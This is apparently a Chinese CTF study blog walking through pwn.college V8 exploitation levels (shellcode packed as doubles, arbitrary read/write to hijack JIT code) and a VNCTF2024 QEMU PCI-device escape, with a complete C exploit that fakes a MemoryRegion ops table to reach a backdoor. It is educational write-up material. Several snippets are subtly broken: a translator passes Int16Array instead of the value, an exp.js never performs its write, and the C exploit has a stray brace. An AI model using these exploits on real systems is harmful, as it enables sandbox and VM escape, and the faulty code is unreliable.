No_t1me's blog

lost in binary

前段时间看到pwn比赛中有考察到js引擎的题目,本人打算学习了解一下。主打一个广涉猎,在每个方向的深度方面可能还需要在后续的做题过程中积累。。。。

什么是”引擎”?

这里用引擎描述还是非常形象的,即将js代码“发动”起来(准确地给出代码运行结果的一段程序)的工具。我看到这段第一反应是:这不就是编译器吗?但是要注意,javascript是动态语言。对于动态语言来说,让其从源代码文件到可以跑起来的字节码的工具叫做解释器(Interpreter)

区别:

  • 编译器是将源代码编译为另外一种代码(比如机器码,或者字节码)
  • 解释器是直接解析并将代码运行结果输出。 比方说,firebug的console就是一个JavaScript的解释器。

解释型语言:程序不需要编译,程序在运行的过程中才用解释器编译成机器语言,边编译边执行,不会产生可执行的字节码文件

但是,现在很难去界定说,JavaScript引擎到底算是解释器还是编译器,因为,比如像V8(Chrome的JS引擎),它其实为了提高 JS的运行性能,在运行之前会先将JS编译为本地的机器码(native machine code),然后再去执行机器码(这样速度就快很多)

JIT(Just In Time Compilation):解决解释性语言的性能问题,主要思想是当解释器将源代码解释成内部表示的时候(类似于java字节码),JavaScript的执行环境不仅是解释这些内部表示,而且将其中一些字节码(使用率高的部分)转成本地代码(汇编代码),这样就可以被CPU直接执行,而不是解释执行,从而提高性能。

工作流水线:字节码 → 解释器执行 → 热点探测 → JIT 编译 → 本地代码缓存 → 后续直接跳转

引擎的组成

  • 编译器。主要工作是将源代码编译成抽象语法树,然后在某些引擎中还包含将抽象语法树转换成字节码
  • 解释器。在某些引擎中,解释器主要是接受字节码,解释执行这个字节码,然后也依赖回收机制等
  • JIT工具。一个能够JIT的工具,将字节码或者抽象语法树转换成本地代码
  • 垃圾回收器和分析工具(profiler)。它们负责垃圾回收和收集引擎中的信息,帮助改善引擎的性能和功效

题目形式

通常会在文件中给出特定的patch修改文件,同时给出已经运用该引擎的对应js引擎。作为攻击者,我们需要利用js代码利用patch的地方(通常存在漏洞)来达到提权的目的。创建exp.js,利用引擎解析该js文件,触发漏洞,提权/获得flag

pwncollege V8 exploitation

level 1

第一步确定题目patch的地方,patch文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..c840e568152 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -24,6 +24,8 @@
#include "src/objects/prototype.h"
#include "src/objects/smi.h"

+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
+
namespace v8 {
namespace internal {

@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
return *isolate->factory()->NewNumberFromUint((new_length));
}
// 这里声明新增加的java原生方法:array.run()
+BUILTIN(ArrayRun) {
+ HandleScope scope(isolate);
+ Factory *factory = isolate->factory();
+ Handle<Object> receiver = args.receiver();
+
+ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Nope")));
+ }
+
+ Handle<JSArray> array = Cast<JSArray>(receiver);
+ ElementsKind kind = array->GetElementsKind(); //获取数组元素
+
+ if (kind != PACKED_DOUBLE_ELEMENTS) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Need array of double numbers")));
+ }
+
+ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length())); //获取长度
+ if (sizeof(double) * (uint64_t)length > 4096) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("array too long")));
+ }
+
+ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+ if (mem == (double *)-1) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("mmap failed")));
+ }
+
+ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+ double x = elements->get_scalar(i);
+ mem[i] = x;
+ });
+
+ ((void (*)())mem)();
+ return 0;
+}
+
namespace {

V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,


diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..40a762c24c8 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,

SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
true);
+ SimpleInstallFunction(isolate_, proto, "run",
+ Builtin::kArrayRun, 0, false);
SimpleInstallFunction(isolate_, proto, "concat",
Builtin::kArrayPrototypeConcat, 1, false);
SimpleInstallFunction(isolate_, proto, "copyWithin",

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..4f3d885cca7 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -421,6 +421,7 @@ namespace internal {
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayRun) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift)

V8 挂方法的“模板公式”

  1. builtins-definitions.h
    CPP(YourBuiltin)
  2. builtins-xxx.cc 写实现
    BUILTIN(YourBuiltin) { ... }
  3. bootstrapper.cc 挂原型
    SimpleInstallFunction(isolate_, proto, "js方法名", Builtin::kYourBuiltin, 参数个数, 是否adapt);

这段patch其实就是为v8引擎新增了一个识别array.run()方法的功能,对应实现ArrayRun本质上申请一片rwx内存,将array内存的double类型值依次存入,其中会检查类型是否为double以及长度限制。然后直接跳到内存开始处执行。非常简单粗暴,思路也很简单,直接借助强大的python写double类型的shellcode,然后在js文件run对应的double类型的array,即可执行任意代码。

这里存在一点需要注意的,在执行这段shellcode时, RUID!=EUID==root。

这里如果直接execve(‘/bin/sh’)的话,在某些安全配置下,如果检测到其实时RUID != EUID(例如,从setuid程序启动),会主动丢弃特权,将EUID重置为RUID,这是一种安全保护。在题目环境下会导致权限丢失。那么稳妥的方法是直接执行能够得到flag的文件,刚好题目给了一个catflag文件,非常巧的是(其实是故意设计的):catflag的关联组与EUID相同,那么直接执行即可。

Exp.js

1
2
3
4
5
6
7
8
9
var shellcode = [
2.6774523096502052e+156,
7.811264351351817e-304,
5.9243877051804356e+169,
8.19170178617048e-79,
2.8157102738592843e+79,
1.5438141419276312e-307,
4.19309166e-316
];

level 2

依旧先看patch文件:

patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..6b31fe2c371 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,64 @@ struct ModuleResolutionData {

} // namespace

+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ v8::Isolate* isolate = info.GetIsolate();
+
+ if (info.Length() == 0) {
+ isolate->ThrowError("First argument must be provided");
+ return;
+ }
+
+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+ if (!IsHeapObject(*arg)) {
+ isolate->ThrowError("First argument must be a HeapObject");
+ return;
+ }
+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+ uint32_t address = static_cast<uint32_t>(obj->address());
+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ Isolate *isolate = info.GetIsolate();
+ if (info.Length() != 1) {
+ isolate->ThrowError("Need exactly one argument");
+ return;
+ }
+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+ if (!IsNumber(*arg)) {
+ isolate->ThrowError("Argument should be a number");
+ return;
+ }
+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+ uint64_t full_addr = base_addr + (uint64_t)addr;
+ uint32_t result = *(uint32_t *)full_addr;
+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}
+
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ Isolate *isolate = info.GetIsolate();
+ if (info.Length() != 2) {
+ isolate->ThrowError("Need exactly 2 arguments");
+ return;
+ }
+ internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+ internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+ if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+ isolate->ThrowError("Arguments should be numbers");
+ return;
+ }
+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+ uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+ uint64_t full_addr = base_addr + (uint64_t)addr;
+ *(uint32_t *)full_addr = value;
+}
+
void Shell::ModuleResolutionSuccessCallback(
const FunctionCallbackInfo<Value>& info) {
DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
+ global_template->Set(isolate, "GetAddressOf",
+ FunctionTemplate::New(isolate, GetAddressOf));
+ global_template->Set(isolate, "ArbRead32",
+ FunctionTemplate::New(isolate, ArbRead32));
+ global_template->Set(isolate, "ArbWrite32",
+ FunctionTemplate::New(isolate, ArbWrite32));
+/* global_template->Set(Symbol::GetToStringTag(isolate),
String::NewFromUtf8Literal(isolate, "global"));
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
global_template->Set(isolate, "readline",
FunctionTemplate::New(isolate, ReadLine));
global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
+ FunctionTemplate::New(isolate, ExecuteFile));*/
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
// Some Emscripten-generated code tries to call 'quit', which in turn would
// call C's exit(). This would lead to memory leaks, because there is no way
// we can terminate cleanly then, so we need a way to hide 'quit'.
- if (!options.omit_quit) {
+/* if (!options.omit_quit) {
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
}
global_template->Set(isolate, "testRunner",
@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
if (i::v8_flags.expose_async_hooks) {
global_template->Set(isolate, "async_hooks",
Shell::CreateAsyncHookTemplate(isolate));
- }
+ }*/

return global_template;
}
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..476675a7150 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,9 @@ class Shell : public i::AllStatic {
};
enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };

+ static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args);
static bool ExecuteString(Isolate* isolate, Local<String> source,
Local<String> name,
ReportExceptions report_exceptions,

看懂上面代码需要了解一些关键的v8引擎原理:

  • 将C++函数暴露给JavaScript(一种方式):global_template->Set(isolate, "ArbWrite32",FunctionTemplate::New(isolate, ArbWrite32));实现JS 名称到 C++ 函数的映射,同时对应函数的实现参数与返回需要调用v8对应的api

  • v8::Isolate* isolate = info.GetIsolate();从参数中的v8回调对象中得到isolate(V8 的沙箱和资源管理单元),作为所有 V8 操作的核心上下文和资源容器

  • 指针压缩技术: V8 启用了指针压缩(Pointer Compression)机制。该机制下,堆对象的地址并不是完整的 64 位地址,而是相对于 cage base 的 32 位偏移量,然后再将32位压缩基址转换为64位完整地址。需要用

    internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();

    internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);来获得V8堆在进程地址空间中的起始地址(64位值)

实现的功能其实就是核心的两大原语:任意地址读➕任意地址写,以及一个获得对象在进程中的地址

假若在一个c语言写的程序中,我拿到这三个功能那么getshell的思路也就很多了。但是这是js程序中的功能,还没有那么直接简单。首先在题目的v8版本下,MAGLEV compilation机制会为多次重复的函数分配一段具有rwx的区域(并不是所有v8版本都是这样)。

1
2
3
4
5
// 触发了MAGLEV的行为:
1. 分配RWX内存页(为了性能,避免权限切换)
2. 生成机器代码直接写入RWX页
3. 将常量数据(包括浮点数)**内联嵌入**到代码中
4. 立即执行,无需mprotect()调用

那么基本思路就是在函数中嵌入getshell(以常量数据形式出现)的payload,在exp.js中反复调用对应函数使对应函数,使函数对应的机器码被分配到rwx的区域中。修改指针指向shellcode。

1.如何获得shellcode地址?

在js中,函数对象的地址并不是直接指向机器码,而是一个结构体。想要获得函数真实对应的机器码需要三级跳转:函数对象 → CodeDataContainer → instruction_start(常量的地址)

其中每一层跳转都需要找到相应的偏移(后者是前者的结构体成员)。

2.如何劫持程序流?

既然已经知道intruction_start指向函数机器码的开始,理所当然的劫持code结构体中的instruction_start成员为shellcode地址就可以执行shellcode了

3.怎么存shellcode?

一般选择 Float64数组(双精度浮点数)

  • 8字节对齐:正好是x64指令的自然大小

  • IEEE 754标准:精确的二进制表示

  • MAGLEV友好:浮点常量常被嵌入代码段

  • 无类型混淆:纯浮点数,V8优化简单

不过需要注意由于浮点数是八字节的表示形式 ,去掉前面两个字节的操作剩下的六个字节就是我们可控的内容 ,然后为了能写成rop的形式,所以6个字节里要已jmp结尾,用来跳到下一个gadget片段,所以我们每一个gadget可以写四字节的内容+一个jmp

Shellcode_generator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='amd64', os='linux')

jmp = b"\xeb\x0c" #jump rip+0xc
shell_str = 0x67616c66746163 #catflag

def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6,b"\x90")+jmp))[2:]) #前两字节是0x90(不可控字节)

#execve("/bin/sh", NULL, NULL)
make_double(asm("mov eax, 0x67616c"))
make_double(asm("mov ebx, 0x66746163"))
make_double(asm("shl rax,0x20"))#左移32位,eax内数值作为高32位
make_double(asm("add rax,rbx;push rax;"))#ebx内容作为低32位
make_double(asm("mov rdi, rsp;xor esi, esi;"))
code = asm("xor edx,edx;push 0x3b;pop rax;syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

js_tranlater:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function convert(){
const shellcode=[0xceb900067616cb8n,
0xceb9066746163bbn,
0xceb909020e0c148n,
0xceb909050d80148n,
0xceb90f631e78948n,
0x90050f583b6ad231n
];
const floatshellcode=[];
const buffer=new ArrayBuffer(8);
const dataview=new DataView(buffer);
for (const i of shellcode){
dataview.setBigUint64(0,Int16Array,true);
const float=dataview.getFloat64(0,true);
floatshellcode.push(float);
}
return floatshellcode;
}

const shellcode=convert();
console.log("const shellcode = () => {return [");
shellcode.forEach((num, index) => {
console.log(` ${num}${index < shellcode.length - 1 ? ',' : ''}`);
});
console.log("];}");

Exp.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function shellcode(){
return [
1.97102559442867765997e-246,
1.97113694948983498454e-246,
1.97118242283720987770e-246,
1.97118262728646853415e-246,
1.97129379506143829454e-246,
-1.69562758796691328788e-231
];
}

function debug(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

for (let i=0;i<10000;i++)
shellcode(); //触发MAGLEV

let shellcode_addr=GetAddressOf(shellcode);
debug("function address:",shellcode_addr);
let code_addr = unptr(ArbRead32(shellcode_addr + 0xc));
debug("code address:",code_addr);
let instruction_start_addr = code_addr + 0x14;
let shellcode_start = ArbRead32(instruction_start_addr)+0x6b;
debug("instruction_start address: ",instruction_start_addr);
debug("shellcode_start with:",shellcode_start);
shellcode();

貌似已经很久很久没有更新了。。。。。主要在搞学业上的一些汇报以及大作业还有期末,中间陆续会写几道pwn题,但是博客实在是没有精力写了。

最近接触了qemu虚拟化相关的一些知识,打算记录一下自己对于qemu容器借助有漏洞的pci设备来逃逸的一些学习过程,本博客记录了笔者从这方面完全一头雾水到初步理解(大概?

qemu中pci设备使用mmio通信步骤

这里用blizzardctf2017的strng设备实现来分析

1
2
3
4
5
6
7
8
9
static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);

memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);//将MemoryRegion区域初始化
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);//将已经初始化好的 &strng->mmio 注册到PCI系统中 PCI配置空间中的BAR0会被设置,guest OS可以分配地址给它
memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}

在初始化完毕后,内存访问的流程如下:

Guest OS内存访问

QEMU内存子系统

查找对应的MemoryRegion → 找到 &strng->mmio

调用 strng_mmio_ops 中的回调函数

执行具体的设备模拟操作

当GuestOS访问到mmio_base_address到mmio_base_address+STRNG_MMIO_SIZE的范围内的内存时会调用&strng_mmio_ops结构体中对应的指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
static const MemoryRegionOps strng_mmio_ops = {
.read = strng_mmio_read,
.write = strng_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
};
//这里着重分析一下回调函数的参数:
/*
1.void *opaque
不透明指针,实际上是 strng(设备状态)
在 memory_region_init_io() 中设置为 strng
在回调函数中需要转型:STRNGState *strng = opaque;

2.hwaddr addr
写入的偏移地址(相对于MMIO基地址)
比如guest写入 mmio_base + 0x10,这里 addr = 0x10
类型 hwaddr 通常等同于 uint64_t

3.uint64_t value(write)
要写入的值
这是最关键的参数,包含了guest要写入的数据
即使写入小于64位的数据,也使用这个参数传递

4.unsigned size
写入操作的数据宽度(字节数)
可能的值:1(byte)、2(word)、4(dword)、8(qword)
*/
static uint64_t strng_pmio_read(void *opaque, hwaddr addr, unsigned size)
{
STRNGState *strng = opaque;
uint64_t val = ~0ULL;

if (size != 4)
return val;

switch (addr) {
case STRNG_PMIO_ADDR:
val = strng->addr;
break;

case STRNG_PMIO_DATA:
if (strng->addr & 3)
return val;

val = strng->regs[strng->addr >> 2];
}

return val;
}

static void strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
STRNGState *strng = opaque;
uint32_t saddr;

if (size != 4)
return;

switch (addr) {
case STRNG_PMIO_ADDR:
strng->addr = val;
break;

case STRNG_PMIO_DATA:
if (strng->addr & 3)
return;
saddr = strng->addr >> 2;
switch (saddr) {
case 0:
strng->srand(val);
break;

case 1:
strng->regs[saddr] = strng->rand();
break;

case 3:
strng->regs[saddr] = strng->rand_r(&strng->regs[2]);
break;

default:
strng->regs[saddr] = val;
}
}
}

我将上面这个流程直白一点理解就是:在qemu容器中读写特定的base加偏移会触发pci设备特定的回调,逻辑中会操控qemu进程中的堆区域,如果其中存在漏洞,我们就能在容器里面通过内存读写触发qemu进程层面(相当于逃逸出了qemu容器)的漏洞。

BAR是(Base Address Register,基地址寄存器)是 PCIe 设备用来向主机“申请”一段 MMIO(Memory-Mapped I/O)地址空间的窗口;MMIO 区域则是主机把这段申请到的物理地址范围真正映射到设备内部寄存器或存储器之后,CPU 可见的那片“内存”区域。

具体流程:

  1. 设备在上电/枚举时把各 BAR 的低位 RO 字段填成“我需要 2^n 字节、32/64 bit、可预取/不可预取”等属性,高位可写位保持全 0。
  2. BIOS/OS 向 BAR 写全 1 再读回,根据第一个为 0 的位算出大小,然后在物理地址空间里找一段不冲突的区域,把起始地址写回 BAR。
  3. 从此,这段物理地址范围被标记为“MMIO 区域”,Root Complex 见到落在该范围的 TLP 就会转发给对应设备;对 CPU 来说,它就像一段普通内存,可用 load/store 直接访问 。
  4. 设备内部逻辑把 BAR 基址与内部偏移做比对,匹配即认领事务,完成寄存器或显存等资源的读写 。

Guest Os层面的利用

1
2
3
4
5
6
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);

通过查看pci设备的版本号,厂商获得相应的pci的mmio设备文件:/sys/devices/pci0000:00/0000:00:04.0/resource0

再通过mmap映射将mmio的”物理地址”挂到GusetOS中exp的进程内存中,接下来可以根据题目中的设备驱动构造相应的读写函数

1
2
3
4
5
6
7
8
9
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}

uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}

题目

好了接下来复现一道qemu逃逸的CTF题目:VNCTF2024中一道题

搭建qemu逃逸题目的调试环境:需要本地运行docker,同时在Dockerfile让容器提前下载好gdb(pwndbg配置太麻烦了),运行run.sh跑起来目标qemu,用gdb attach上对应进程,开始愉快的调试

这里用两个终端分别运行docker容器:docker exec -ti 容器名字 /bin/bash

首先分析对应pci设备的处理逻辑:

!

对于读取逻辑来说,偏移存在两种情况:

  • 0x10:读取ptr+0xb80位置数据
  • 0x20:读取ptr+[ptr+0xb80]+0xb40位置的数据

!

对于写入逻辑:

  • 0x30:如果ptr+0xb84为0,则写入值到ptr+0xb40+[ptr+0xb80]位置,并把ptr+0xb84置为1
  • 0x10:如果写入内容小于0x3c(存在整数溢出),将值写入ptr+0xb80处位置
  • 0x20:对于内容取高32位数据(需要小于0x3c),作为偏移,并将低32位内容写入ptr+0xb40+high(content)的位置

通过整数溢出我们能够读取-2 147 483 648 ≤ (ptr+0xb40) ≤ 60范围的值

漏洞点就在利用整数溢出实现的越界数据读写来操控qemu进程内的堆空间,实现qemu的逃逸。

接下来看看ptr内存附近的内存都有些啥东西,这里列一下 MemoryRegion这个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct MemoryRegion {
Object parent_obj; // QOM父对象

/* 内存区域属性 */
uint64_t size; // 区域大小
uint64_t addr; // 映射地址(在AddressSpace中)
bool mapped; // 是否已映射
uint8_t dirty_log_mask; // 脏页记录掩码

/* 回调函数 */
const MemoryRegionOps *ops; // MMIO操作函数集
void *opaque; // 传递给回调函数的不透明指针

/* 内存区域关系 */
MemoryRegion *container; // 所属容器(如有)
Int128 size_int128; // 128位大小(支持超大内存)

/* 内存类型标志 */
RAMBlock *ram_block; // 如果是RAM,指向RAMBlock
bool ram; // 是否为RAM区域
bool rom; // 是否为ROM区域
bool readonly; // 是否只读
bool nonvolatile; // 是否非易失性
bool rom_device; // 是否为ROM设备
bool flush_coalesced_mmio; // 是否合并MMIO刷新
bool global_locking; // 是否全局锁定

/* 子区域链表 */
QTAILQ_HEAD(subregions, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;

/* 地址空间链表 */
QTAILQ_HEAD(coalesced_ranges, CoalescedMemoryRange) coalesced;
QTAILQ_ENTRY(MemoryRegion) addr_search_link;
};

我们关注其中的const MemoryRegionOps *ops,如果能够控制这个结构体地址指向我们控制的地址,就能在执行 vn_mmio_read 和 vn_mmio_write 时去执行 我们地址上 指向的函数。在ida中搜索/bin/sh,查看交叉引用可以找到一个后门函数地址:0x67429B

!

那么现在存在两个目标:

  • 泄露qemu进程的pie地址
  • 修改MemoryRegion中ops指针到我们能够控制的地址并将其指向后门函数

通过遍历查找我们可以读的偏移找到pie地址,求出pie_base,同时对应偏移上能够修改到对应的MemoryRegion中的ops指针

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)

char* pci_path="/sys/devices/pci0000:00/0000:00:04.0/resource0";
uint64_t mmio_base;
//将设备文件映射到内存中进行操作
unsigned char* getMMIOBase(){

int fd;
if((fd = open(pci_path, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base= mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0); //映射bar
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}

uint32_t* mmio_read(uint64_t offsest){
return *((uint32_t*)(mmio_base + offsest));
}

void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}

void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}

int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();//打开设备文件,并映射内存
printf("mmio_base Resource0Base: %p\n", mmio_base);
//根据泄露对应的pie地址数据
mmio_write(0x10, -17*0x8);
uint64_t pie_low = mmio_read(0x20);
mmio_write(0x10, -17*0x8 + 0x4);
uint64_t pie_high = mmio_read(0x20);
uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
printf("pie = 0x%llx\n", pie);

getchar();
//泄露堆地址数据
mmio_write(0x10, -10*0x8);
uint64_t heap_low = mmio_read(0x20);
mmio_write(0x10, -10*0x8 + 0x4);
uint64_t heap_high = mmio_read(0x20);
uint64_t heap = heap_low + (heap_high << 32);
printf("heap = 0x%llx\n", heap);
uint64_t backdoor = pie + 0x67429B;
uint64_t system_plt_addr = heap + 0x60 + 8;
uint64_t cmdaddr = heap + 0x58 + 8;
getchar();
//伪造ops结构体,其中read指针指向后门函数
mmio_write_idx(8,0x20746163);
mmio_write_idx(12,0x67616C66);
mmio_write_idx(16,backdoor & 0xffffffff);
mmio_write_idx(20,backdoor >> 32);
mmio_write_idx(24,system_plt_addr & 0xffffffff);
mmio_write_idx(28,system_plt_addr >> 32);
mmio_write_idx(32,cmdaddr & 0xffffffff);
mmio_write_idx(36,cmdaddr >> 32);
getchar();
for(int i = 40;i <= 60 ;i += 4 )
{
mmio_write_idx(i,0);
}
getchar();
//将memoryregion中的ops指针改到堆上伪造好的地址
mmio_write(0x10,-0xc0);
getchar();
//触发对应函数
mmio_write(0x30,system_plt_addr);
getchar();
mmio_read(0);
return 0;

}
}

本题总结

本质上题目在有漏洞的mmio逻辑中实现越界读写,通过越界读写篡改到qemu中一个存储在堆空间的特殊结构体:MemoryRegion,从而劫持程序流。

在fnz比赛中,遇到一道对于本人现阶段较有挑战性的一道VM题,这里记录一下做题的过程。

VM题目一般会用程序语言去模拟某些解释器性质功能,往往拥有较大的代码量,需要逆向去还原题目的指令集功能以及解释器相关的结构体等

题目是EZVM,打开时看看保:没开pei,Partial RELRO,其他保护全开。libc版本来到了2.35,每次给了libc的题目可以利用strings libc.so.6 | grep "ubuntu"来看一下题目给的libc版本,特别是有堆利用的题目。

